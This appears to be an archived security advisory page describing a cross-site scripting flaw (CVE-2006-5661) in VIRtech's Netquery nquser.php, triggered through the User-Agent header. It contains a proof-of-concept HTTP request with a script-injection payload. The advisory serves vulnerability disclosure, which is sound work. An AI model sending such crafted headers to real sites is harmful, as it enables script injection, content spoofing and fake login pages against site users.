|
 |
| SecurityReason | ||
| WLB | ||
| Services | ||
| RSS | ||
| Corporate | ||
| Note | ||
If you have found a vulnerability, please send to our SecurityAlert Database : |
||
Home  SecurityAlert Database |
||||
SecurityAlert : 1807 CVE : CVE-2006-5661 SecurityRisk : Low  (About) Remote Exploit : Yes Local Exploit : No Exploit Available : Yes Credit : LegendaryZion (moskito smile net il) Published : 06.11.2006
Advisory Content : ·= Security Advisory =· Issue: Cross Site Scripting (XSS) Vulnerability in Netquery by "VIRtech" Discovered Date: 04/10/2006 Author: Tal Argoni, LegendaryZion. [talargoni at gmail.com] Product Vendor: http://www.virtech.org Details: VIRtechs Netquery system is prone to a Cross Site Scripting Vulnerability. The vulnerability exists in "nquser.php" file, caused by the lack of Input Validation/Filtering of quotation and HTML characters in the header parameter "User-Agent:". Part of the http header: GET http://www.example.com/netquery/nquser.php HTTP/1.0 User-Agent: <script>alert('User-Agent:')</script> ... After send the crafted http header, nquser.php prints the following HTML code: ------------------------------------------------------------------------ ------------------------------------------ ... User Agent : <script>alert('User-Agent:')</script><br /> ... Successful exploitation may allow execution of script code. This could also be exploited to spoof the entire website's content, create fake login menu's for all the platform's users, commit Denial Of Service attacks and more... Proof Of Concept: GET http://www.example.com/netquery/nquser.php HTTP/1.0 Accept: */* Referer: http://www.example.com/ Accept-Language: en-us Pragma: no-cache User-Agent: <script>alert()</script> Host: virtech.org Proxy-Connection: Keep-Alive Cookie: e107_tdOffset=32630; e107_tdSetTime=1159974893; e107_tzOffset=420 Content-length: 0 Vulnerable systems: e107 Edition Postnuke Edition Xaraya Edition Xoops Edition Not vulnerable systems: Standalone Edition Fusion Edition for more details visit: www.zion-security.com Thanks, Tal Argoni, CEH www.zion-security.com  Feedback : If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com. |
||||
| Alert | ||
Allow attacker to denial of service apache 2.2.17 server |
||
| Apache |  |
|
| PHP | |
|
» libzip 0.9.3 |
||
| ADT | ||
Protect your family and valuables with Home Security Systems |
||
- 2011-05-13| Copyright © SecurityReason.com. All Rights Reserved. |